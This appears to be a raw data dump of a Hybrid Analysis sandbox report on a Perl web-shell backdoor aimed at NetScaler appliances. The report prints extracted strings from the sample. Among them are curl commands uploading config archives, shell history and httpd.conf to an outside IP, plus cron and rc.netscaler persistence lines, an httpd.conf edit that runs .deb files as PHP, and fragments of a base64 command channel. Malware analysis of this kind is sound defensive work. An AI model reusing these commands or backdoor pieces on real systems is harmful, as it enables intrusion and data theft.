24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 2f:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4d5,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Backdoor/Perl.WebShell Sample b9b0a4380db4… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample b9b0a4380db4…. Malware family: Backdoor/Perl.WebShell. Threat score 100/100. 3/26 AV engines flagged this file. 8 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63","keywords":["Malicious","Backdoor/Perl.WebShell","malware analysis","sandbox report","threat intelligence","b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63"],"about":{"@type":"SoftwareApplication","name":"b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl","applicationCategory":["script","sh"],"identifier":"b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Backdoor/Perl.WebShell","antivirusDetections":{"malicious":3,"total":26},"behavioralIndicators":{"malicious":8,"suspicious":13},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T4da,file/memory contains long string with (Indicator: "mkdir "; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found string "ck} $decoded, "\n";my $line = <$sock>;$line = 'ERR response' unless defined $line;print $line;close $sock;BRIDGE_EOFV2=/var/tmp/.uxmkdir -p "$V2"cat >"$V2/slapshot.py" <<'V2_SLAP_EOF'#!/usr/bin/env python3"""SLAPSHOT-analog" (Indicator: "mkdir "; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl"), file/memory contains long string with (Indicator: "mkdir "; File: "cd6b7acea0bdbcf8_boot.sh"), Found string "mkdir -p "$DIR" "$WEB_DIR"" (Indicator: "mkdir "; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl"), Found string "mkdir -p "$V2"" (Indicator: "mkdir "; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl"), Found string "mkdir -p "$L"" (Indicator: "mkdir "; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl"), Found string "mkdir -p /nsconfig/.slap /var/netscaler/logon/LogonPoint/custom" (Indicator: "mkdir "; File: "mkdir"), Found string "mkdir -p /var/tmp/.ux" (Indicator: "mkdir "; File: "mkdir"), Found string "mkdir -p /var/tmp/.s2loot" (Indicator: "mkdir "; File: "mkdir")26:Tb29,file/memory contains long string with (Indicator: "grep "; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") file/memory contains long string with (Indicator: "grep "; File: "cd6b7acea0bdbcf8_boot.sh") Found string "if ! grep -q 'AddType application/x-httpd-php .deb' "$HTTPD"; then" (Indicator: "grep "; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found string "if ! grep -q '' "$HTTPD"; then" (Indicator: "grep "; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found string "if ! ps -axww | grep -q '[.]slap/agent.pl'; then" (Indicator: "grep "; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found string "if ! ps -axww | grep -q '[.]ux/slapshot.py'; then" (Indicator: "grep "; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found string "if ! ps -axww | grep -q '[.]ux/whipd.py'; then" (Indicator: "grep "; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found string "if ! grep -q 'Alias /logon/LogonPoint/custom/receiver.v2.min.css' "$HTTPD"; then" (Indicator: "grep "; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found string "grep -q '/nsconfig/.slap/agent.pl' /nsconfig/rc.netscaler 2>/dev/null ||" (Indicator: "grep "; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found string "grep -q '/nsconfig/.slap/boot.sh' /nsconfig/rc.netscaler 2>/dev/null ||" (Indicator: "grep "; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found string "grep -q '/nsconfig/.slap/agent.pl' /tmp/.slap.cron ||" (Indicator: "grep "; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found string "grep -q '/nsconfig/.slap/boot.sh' /tmp/.slap.cron ||" (Indicator: "grep "; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found string "grep -in 'php' "$HTTPD" 2>/dev/null | tail -n 80" (Indicator: "grep "; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found string "grep -q Alias /logon/LogonPoint/custom/receiver.v2.min.css /etc/httpd.conf" (Indicator: "grep "; File: "grep") Found string "grep -q AddType application/x-httpd-php .deb /etc/httpd.conf" (Indicator: "grep "; File: "grep") Found string "grep -q [.]slap/agent.pl" (Indicator: "grep "; File: "grep") Found string "grep -q /nsconfig/.slap/agent.pl /nsconfig/rc.netscaler" (Indicator: "grep "; File: "grep") Found string "grep -q /nsconfig/.slap/boot.sh /nsconfig/rc.netscaler" (Indicator: "grep "; File: "grep") Found string "grep -q /nsconfig/.slap/agent.pl /tmp/.slap.cron" (Indicator: "grep "; File: "grep") Found string "grep -q /nsconfig/.slap/boot.sh /tmp/.slap.cron" (Indicator: "grep "; File: "grep")27:T9a6,Calls a syscall: "vfork" Calls a syscall: "close" Calls a syscall: "rt_sigaction" Calls a syscall: "rt_sigprocmask" Calls a syscall: "close_range" Calls a syscall: "execve" Calls a syscall: "brk" Calls a syscall: "mmap" Calls a syscall: "access" Calls a syscall: "openat" Calls a syscall: "fstat" Calls a syscall: "read" Calls a syscall: "pread" Calls a syscall: "arch_prctl" Calls a syscall: "set_tid_address" Calls a syscall: "set_robust_list" Calls a syscall: "mprotect" Calls a syscall: "munmap" Calls a syscall: "ioctl" Calls a syscall: "getrandom" Calls a syscall: "getuid" Calls a syscall: "getgid" Calls a syscall: "geteuid" Calls a syscall: "getegid" Calls a syscall: "uname" Calls a syscall: "newfstatat" Calls a syscall: "getpid" Calls a syscall: "getppid" Calls a syscall: "getpgrp" Calls a syscall: "lseek" Calls a syscall: "fcntl" Calls a syscall: "dup2" Calls a syscall: "clone" Calls a syscall: "wait4" Calls a syscall: "rt_sigreturn" Calls a syscall: "write" Calls a syscall: "pipe2" Calls a syscall: "faccessat2" Calls a syscall: "exit_group" Calls a syscall: "open" Calls a syscall: "create" Calls a syscall: "statfs" Calls a syscall: "umask" Calls a syscall: "mkdir" Calls a syscall: "fchdir" Calls a syscall: "chdir" Calls a syscall: "fadvise64" Calls a syscall: "fchmodat" Calls a syscall: "readlink" Calls a syscall: "sigaltstack" Calls a syscall: "fchmod" Calls a syscall: "renameat" Calls a syscall: "prctl" Calls a syscall: "getdents64" Calls a syscall: "sched_getaffinity" Calls a syscall: "setsid" Calls a syscall: "socket" Calls a syscall: "setsockopt" Calls a syscall: "bind" Calls a syscall: "listen" Calls a syscall: "getsockname" Calls a syscall: "chmod" Calls a syscall: "pselect6" Calls a syscall: "connect" Calls a syscall: "sendto" Calls a syscall: "setresgid" Calls a syscall: "setresuid" Calls a syscall: "fsync" Calls a syscall: "rename" Calls a syscall: "utimensat" Calls a syscall: "epoll_create" Calls a syscall: "poll" Calls a syscall: "gettid" Calls a syscall: "epoll_create1" Calls a syscall: "sendmmsg" Calls a syscall: "recvfrom" Calls a syscall: "recvmsg" Calls a syscall: "accept4" Calls a syscall: "getgroups" Calls a syscall: "statx" Calls a syscall: "lgetxattr" Calls a syscall: "listxattr" Calls a syscall: "creat" Calls a syscall: "getsockopt" Calls a syscall: "getpeername" Calls a syscall: "fstatfs" Calls a syscall: "unlinkat"28:T1a78,file/memory contains long string with (Indicator: "chmod"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") file/memory contains long string with (Indicator: "close"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") file/memory contains long string with (Indicator: "exit"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") file/memory contains long string with (Indicator: "kill"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") file/memory contains long string with (Indicator: "link"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") file/memory contains long string with (Indicator: "listen"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") file/memory contains long string with (Indicator: "mkdir"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") file/memory contains long string with (Indicator: "open"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") file/memory contains long string with (Indicator: "select"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") file/memory contains long string with (Indicator: "socket"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") file/memory contains long string with (Indicator: "unlink"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") file/memory contains long string with (Indicator: "read"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") file/memory contains long string with (Indicator: "time"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") file/memory contains long string with (Indicator: "connect"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") file/memory contains long string with (Indicator: "write"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") file/memory contains long string with (Indicator: "accept"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found reference to API "ck} $decoded, "\n";my $line = <$sock>;$line = 'ERR response' unless defined $line;print $line;close $sock;BRIDGE_EOFV2=/var/tmp/.uxmkdir -p "$V2"cat >"$V2/slapshot.py" <<'V2_SLAP_EOF'#!/usr/bin/env python3"""SLAPSHOT-analog" (Indicator: "close"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl"), Found reference to API "ck} $decoded "\n";my $line = <$sock>;$line = 'ERR response' unless defined $line;print $line;close $sock;BRIDGE_EOFV2=/var/tmp/.uxmkdir -p "$V2"cat >"$V2/slapshot.py" <<'V2_SLAP_EOF'#!/usr/bin/env python3"""SLAPSHOT-analog" (Indicator: "mkdir"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") file/memory contains long string with (Indicator: "stat"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") file/memory contains long string with (Indicator: "creat"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") file/memory contains long string with (Indicator: "bind"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") file/memory contains long string with (Indicator: "setsockopt"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") file/memory contains long string with (Indicator: "getpid"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") file/memory contains long string with (Indicator: "pipe"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") file/memory contains long string with (Indicator: "reboot"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") file/memory contains long string with (Indicator: "fchmod"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") file/memory contains long string with (Indicator: "setsid"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") file/memory contains long string with (Indicator: "uname"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") file/memory contains long string with (Indicator: "close"; File: "f09c1bf2c6148e9e_bridge.pl") file/memory contains long string with (Indicator: "connect"; File: "f09c1bf2c6148e9e_bridge.pl") file/memory contains long string with (Indicator: "exit"; File: "f09c1bf2c6148e9e_bridge.pl") file/memory contains long string with (Indicator: "open"; File: "f09c1bf2c6148e9e_bridge.pl") file/memory contains long string with (Indicator: "socket"; File: "f09c1bf2c6148e9e_bridge.pl") file/memory contains long string with (Indicator: "time"; File: "f09c1bf2c6148e9e_bridge.pl") Found reference to API "[16:57:52] agent listening on 127.0.0.1:9909 (pid 1678)" (Indicator: "listen"; File: "43cdd2cffdba72d7_agent.log") Found reference to API "mkdir -p "$DIR" "$WEB_DIR"" (Indicator: "mkdir"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found reference to API "use IO::Socket::INET;" (Indicator: "socket"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found reference to API "use IO::Select;" (Indicator: "select"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found reference to API "open my $lf, '<', $LOCK or exit 1;" (Indicator: "exit"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found reference to API "open my $lf, '<', $LOCK or exit 1;" (Indicator: "open"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found reference to API "close $lf;" (Indicator: "close"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found reference to API "exit 0 if defined $pid && kill(0, $pid);" (Indicator: "exit"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found reference to API "exit 0 if defined $pid && kill(0, $pid);" (Indicator: "kill"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found reference to API "unlink $LOCK;" (Indicator: "link"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found reference to API "unlink $LOCK;" (Indicator: "unlink"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found reference to API "my $server = IO::Socket::INET->new(" (Indicator: "socket"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found reference to API "Listen => 32," (Indicator: "listen"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl")29:T732,"urlref_http213.209.159.55443tae7427" has type "Perl script text executable"- [targetUID: N/A] "be559fb34104b8ce_slapshot.py" has type "Python script Unicode text UTF-8 text executable"- [targetUID: N/A] "dc07e82e31f874c3_whipd.py" has type "Python script Unicode text UTF-8 text executable"- [targetUID: N/A] "94c5ccd3a35357b2_agent.pl" has type "Perl script text executable"- [targetUID: N/A] "02df972f3bd6b16b_nsconfig.tgz" has type "gzip compressed data from Unix original size modulo 2^32 20480"- [targetUID: N/A] "cd6b7acea0bdbcf8_boot.sh" has type "POSIX shell script ASCII text executable"- [targetUID: N/A] "013b311b49954931_root" has type "ASCII text"- [targetUID: N/A] "76459c69ae42b460_.slap.cron" has type "ASCII text"- [targetUID: N/A] "899b16c1b02f95f2_.slap-diag.txt" has type "ASCII text"- [targetUID: N/A] "f09c1bf2c6148e9e_bridge.pl" has type "Perl script text executable"- [targetUID: N/A] "9f792058552da5cb_receiver.deb" has type "PHP script ASCII text"- [targetUID: N/A] "9bff764208314b8f_httpd.conf" has type "ASCII text"- [targetUID: N/A] "d7c4b95bf8eaed28_httpd.conf _deleted_" has type "Unknown"- [targetUID: N/A] "c15dd5cef61b01d8_.slap-httpd-test.log" has type "ASCII text"- [targetUID: N/A] "4c1a2751a1b474cc_rc.netscaler" has type "ASCII text"- [targetUID: N/A] "d6a0d9271a9dae14_whip.log" has type "ASCII text"- [targetUID: N/A] "43cdd2cffdba72d7_agent.log" has type "ASCII text"- [targetUID: N/A] "85cea451eec057fa_hist.tgz" has type "gzip compressed data from Unix original size modulo 2^32 10240"- [targetUID: N/A] "e573c9b5545420c3_.uxdport" has type "ASCII text"- [targetUID: N/A] "5e23145ad105f9f1_.uxdlock" has type "ASCII text"- [targetUID: N/A] "60dcf2e970358792_agent.pid" has type "ASCII text"- [targetUID: N/A] "edc9f1d537eb400e_whip.pid" has type "ASCII text"- [targetUID: N/A]2a:T774,file/memory contains long string with (Indicator: "curl "; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found string "command -v curl 2>/dev/null || true" (Indicator: "curl "; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found string "curl -sk -H 'Expect:' -m 300 -T "$L/nsconfig.tgz" "$EX/loot_nsconfig.tgz" >/dev/null 2>&1 || true" (Indicator: "curl "; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found string "curl -sk -H 'Expect:' -m 300 -T "$L/hist.tgz" "$EX/loot_nshist.tgz" >/dev/null 2>&1 || true" (Indicator: "curl "; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found string "curl -sk -H 'Expect:' -m 300 -T "$f" "$EX/sysbackup_$(basename "$f")" >/dev/null 2>&1 || true" (Indicator: "curl "; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found string "curl -sk -H 'Expect:' -m 60 -T "$HTTPD" "$EX/loot_httpd.conf" >/dev/null 2>&1 || true" (Indicator: "curl "; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found string "curl -sk -H 'Expect:' -m 60 -T "$DIAG" "$EX/loot_diag.txt" \" (Indicator: "curl "; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found string "curl -sk -H Expect: -m 300 -T /var/tmp/.s2loot/nsconfig.tgz http://213.209.159.55:443/t/ae7427/loot_nsconfig.tgz" (Indicator: "curl "; File: "curl") Found string "curl -sk -H Expect: -m 300 -T /var/tmp/.s2loot/hist.tgz http://213.209.159.55:443/t/ae7427/loot_nshist.tgz" (Indicator: "curl "; File: "curl") Found string "curl -sk -H Expect: -m 60 -T /etc/httpd.conf http://213.209.159.55:443/t/ae7427/loot_httpd.conf" (Indicator: "curl "; File: "curl") Found string "curl -sk -H Expect: -m 60 -T /var/tmp/.slap-diag.txt http://213.209.159.55:443/t/ae7427/loot_diag.txt" (Indicator: "curl "; File: "curl")2b:T479,Observed string: "ax_bytes) elif cmd == "close": sid = int(tokens[1]) ok = manager.close(sid) log("close sid %d (%s)" % (sid, "ok" if ok else "missing")) resp = "ok" if ok else "err no-such-session" else: resp = "err unknown-command" except (IndexError, ValueError) as exc: resp = "err bad-request: %s" % exc except OSError as exc: resp = "err connect: %s" % exc conn.sendall(resp.encode() + b"\n") conn.close()def main(): ap = argparse.ArgumentParser(description="SLAPSHOT-analog session manager") ap.add_argument("--listen", default="127.0.0.1:9909") ap.add_argument("--pidfile") args = ap.parse_args() host, _, port = args.listen.rpartition(":") srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) srv.bind((host, int(port))) srv.listen(16) if args.pidfile: with open(a" (Indicator: "setsockopt") Observed string: "srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)" (Indicator: "setsockopt")2c:Tbe4,Potential IP "213.209.159.55" found in string "http://213.209.159.55:443/t/ae7427/loot_nsconfig.tgz" Potential IP "213.209.159.55" found in string "http://213.209.159.55:443/t/ae7427/loot_httpd.conf" Potential IP "213.209.159.55" found in string "http://213.209.159.55:443/t/ae7427/loot_diag.txt" Potential IP "213.209.159.55" found in string "http://213.209.159.55:443/t/ae7427/loot_nshist.tgz" Potential IP "213.209.159.55" found in string "http://213.209.159.55:443/t/ae7427" Potential IPs "0.0.0.0" "127.0.0.1" found in string "whipd on 0.0.0.0:9910 -> agent 127.0.0.1:9909 (token=True)" Potential IP "127.0.0.1" found in string "[16:57:52] agent listening on 127.0.0.1:9909 (pid 1678)" Potential IP "213.209.159.55" found in string "EX='http://213.209.159.55:443/t/ae7427'" Potential IP "127.0.0.1" found in string "LocalAddr => '127.0.0.1'," Potential IP "127.0.0.1" found in string "PeerAddr => '127.0.0.1'," Potential IP "127.0.0.1" found in string "ap.add_argument("--listen", default="127.0.0.1:9909")" Potential IP "127.0.0.1" found in string "agent = ("127.0.0.1", 9909)" Potential IP "0.0.0.0" found in string "ap.add_argument("--bind", default="0.0.0.0")" Potential IP "127.0.0.1" found in string "ap.add_argument("--agent", default="127.0.0.1:9909")" Potential IP "127.0.0.1" found in string "nohup "$PY" /var/tmp/.ux/slapshot.py --listen 127.0.0.1:9909 \" Potential IP "0.0.0.0" found in string "nohup "$PY" /var/tmp/.ux/whipd.py --bind 0.0.0.0 --port 9910 \" Potential IP "127.0.0.1" found in string "--agent 127.0.0.1:9909 --token slap --pidfile /var/tmp/.ux/whip.pid \" Potential IP "127.0.0.1" found in string "nohup "$PY" "$V2/slapshot.py" --listen 127.0.0.1:9909 \" Potential IP "0.0.0.0" found in string "nohup "$PY" "$V2/whipd.py" --bind 0.0.0.0 --port 9910 \" Potential IP "127.0.0.1" found in string "--agent 127.0.0.1:9909 --token slap --pidfile "$V2/whip.pid" \" "213.209.159.55:443" Potential IP "213.209.159.55" found in string "PUT /t/ae7427/loot_nshist.tgz HTTP/1.1Host: 213.209.159.55:443User-Agent: curl/8.5.0Accept: */*Content-Length: 45íÁÂ ÷Om7 7Þ'(" Potential IPs "0.0.0.0" "127.0.0.1" found in string "python3 /var/tmp/.ux/whipd.py --bind 0.0.0.0 --port 9910 --agent 127.0.0.1:9909 --token slap --pidfile /var/tmp/.ux/whip.pid" Potential IP "127.0.0.1" found in string "python3 /var/tmp/.ux/slapshot.py --listen 127.0.0.1:9909 --pidfile /var/tmp/.ux/agent.pid" Potential IP "213.209.159.55" found in string "curl -sk -H Expect: -m 300 -T /var/tmp/.s2loot/nsconfig.tgz http://213.209.159.55:443/t/ae7427/loot_nsconfig.tgz" Potential IP "213.209.159.55" found in string "curl -sk -H Expect: -m 300 -T /var/tmp/.s2loot/hist.tgz http://213.209.159.55:443/t/ae7427/loot_nshist.tgz" Potential IP "213.209.159.55" found in string "curl -sk -H Expect: -m 60 -T /etc/httpd.conf http://213.209.159.55:443/t/ae7427/loot_httpd.conf" Potential IP "213.209.159.55" found in string "curl -sk -H Expect: -m 60 -T /var/tmp/.slap-diag.txt http://213.209.159.55:443/t/ae7427/loot_diag.txt"2d:T618,Pattern match: "http://213.209.159.55:443/t/ae7427/loot_nsconfig.tgz" Pattern match: "http://213.209.159.55:443/t/ae7427/loot_httpd.conf" Pattern match: "http://213.209.159.55:443/t/ae7427/loot_diag.txt" Pattern match: "http://213.209.159.55:443/t/ae7427/loot_nshist.tgz" Pattern match: "http://213.209.159.55:443/t/ae7427" Heuristic match: "bridge.pl" Heuristic match: "boot.sh" Pattern match: "http://213.209.159.55:443/t/ae7427'dir=/nsconfig/.slapweb_dir=/var/netscaler/logon/logonpoint/customweb_file=$web_dir/.slap.receiverctx_file=$web_dir/.ctxs.receiverdeb_file=$web_dir/receiver.debhttpd=/etc/httpd.confbackup=/etc/httpd.conf.slap.bakmkdir" Heuristic match: "# do not edit this file - edit the master and reinstall.# (/tmp/.slap.cron installed on sun oct 4 16:57:52 2026)# (cron version -- $id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie exp $)# edit this file to introduce tasks to be run by cron.# each task to r" Heuristic match: "# edit this file to introduce tasks to be run by cron.# each task to run has to be defined through a single line# indicating with different fields when the task will be run# and what command to run for the task# to define the time you can provide concrete " Heuristic match: "chmod 700 /nsconfig/.slap /nsconfig/.slap/agent.pl /nsconfig/.slap/bridge.pl" Heuristic match: "chmod 700 /nsconfig/.slap/boot.sh" Heuristic match: "grep -q [.]slap/agent.pl" Heuristic match: "perl /nsconfig/.slap/agent.pl" Heuristic match: "pkill -f /var/tmp/.ux/slapshot.py" Heuristic match: "pkill -f /var/tmp/.ux/whipd.py"2e:Tf1b,file/memory contains long string with (Indicator: "base64"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") file/memory contains long string with (Indicator: "b64decode"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") file/memory contains long string with (Indicator: "base64.b64decode"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") file/memory contains long string with (Indicator: "b64decode"; File: "be559fb34104b8ce_slapshot.py") file/memory contains long string with (Indicator: "base64"; File: "be559fb34104b8ce_slapshot.py") file/memory contains long string with (Indicator: "base64.b64decode"; File: "be559fb34104b8ce_slapshot.py") file/memory contains long string with (Indicator: "b64decode"; File: "dc07e82e31f874c3_whipd.py") file/memory contains long string with (Indicator: "base64"; File: "dc07e82e31f874c3_whipd.py") file/memory contains long string with (Indicator: "base64.b64decode"; File: "dc07e82e31f874c3_whipd.py") file/memory contains long string with (Indicator: "base64"; File: "94c5ccd3a35357b2_agent.pl") file/memory contains long string with (Indicator: "base64"; File: "f09c1bf2c6148e9e_bridge.pl") Found string "use MIME::Base64 qw(encode_base64 decode_base64);" (Indicator: "base64"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found string "my $payload = defined $arg2 ? decode_base64($arg2) : '';" (Indicator: "base64"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found string "reply($client, 'OK', encode_base64($data, ''));" (Indicator: "base64"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found string "use MIME::Base64 qw(decode_base64);" (Indicator: "base64"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found string "my $decoded = decode_base64($cmd);" (Indicator: "base64"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found string "import base64" (Indicator: "base64"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found string "return base64.b64decode(token + "=" * (-len(token) % 4))" (Indicator: "b64decode"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found string "return base64.b64decode(token + "=" * (-len(token) % 4))" (Indicator: "base64"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found string "return base64.b64decode(token + "=" * (-len(token) % 4))" (Indicator: "base64.b64decode"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found string "return base64.b64encode(data).decode()" (Indicator: "base64"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found string "Every request carries a base64 command in a header; the reply is always a" (Indicator: "base64"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found string "404 whose body carries the base64 payload. This mirrors the operator-facing" (Indicator: "base64"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found string "base64 command headers, bytes hidden in a "not found" response." (Indicator: "base64"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found string "X-Cmd: " (Indicator: "base64"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found string "Body: base64 payload (for data replies)" (Indicator: "base64"; File: "b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl") Found string "return self.reply(b"err bad-base64", "err")" (Indicator: "base64"; File: 